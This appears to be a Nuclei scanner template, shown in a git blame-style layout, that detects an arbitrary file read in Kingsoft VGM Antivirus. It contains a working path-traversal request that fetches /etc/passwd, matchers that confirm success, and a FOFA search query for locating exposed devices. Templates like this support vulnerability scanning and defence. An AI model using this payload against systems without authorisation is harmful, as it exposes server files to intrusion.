2023-10-16 17:15:10 +00:00
|
|
|
id: kingsoft-vgm-lfi
|
|
|
|
|
|
|
|
|
|
info:
|
|
|
|
|
name: Kingsoft VGM Antivirus - Arbitrary File Read
|
|
|
|
|
author: abbas.heybati
|
|
|
|
|
severity: high
|
|
|
|
|
description: |
|
|
|
|
|
There is an arbitrary file reading vulnerability in Kingsoft Antivirus. An attacker can obtain any file on the server through the vulnerability.
|
|
|
|
|
reference:
|
|
|
|
|
- https://mp.weixin.qq.com/s?__biz=MzkyMjE3MjEyNQ==&mid=2247486073&idx=1&sn=8e61e162262585bb8ce973b61df989b4&chksm=c1f925cbf68eacddfe441b8f1861e88068039712e467fb9bbe91eae31d439286c7147d197b07
|
|
|
|
|
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/kongsoft-vgm-antivirus-wall-rce.yaml
|
|
|
|
|
metadata:
|
2023-10-17 06:28:04 +00:00
|
|
|
verified: true
|
2023-10-16 17:15:10 +00:00
|
|
|
max-request: 1
|
|
|
|
|
fofa-query: title="金山VGM防毒墙"
|
|
|
|
|
tags: kingsoft,vgm,lfi
|
|
|
|
|
|
|
|
|
|
http:
|
|
|
|
|
- method: GET
|
|
|
|
|
path:
|
|
|
|
|
- "{{BaseURL}}/downFile.php?filename=../../../../etc/passwd"
|
|
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
|
matchers:
|
|
|
|
|
- type: regex
|
|
|
|
|
part: body
|
|
|
|
|
regex:
|
|
|
|
|
- "root:.*:0:0:"
|
|
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
|
part: header
|
|
|
|
|
words:
|
|
|
|
|
- "application/force-download"
|
|
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
|
status:
|
|
|
|
|
- 200
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
|
# digest: 4a0a00473045022100f2502080be7eb0c3cc36d778e65dac2e50b2dc8930e92e8253154de9305015ab0220536c3849100109e24770d3ade708928f6be51ee39cb53ef97cb149042ae724c9:922c64590222798bb761d5b6d8e72950
|
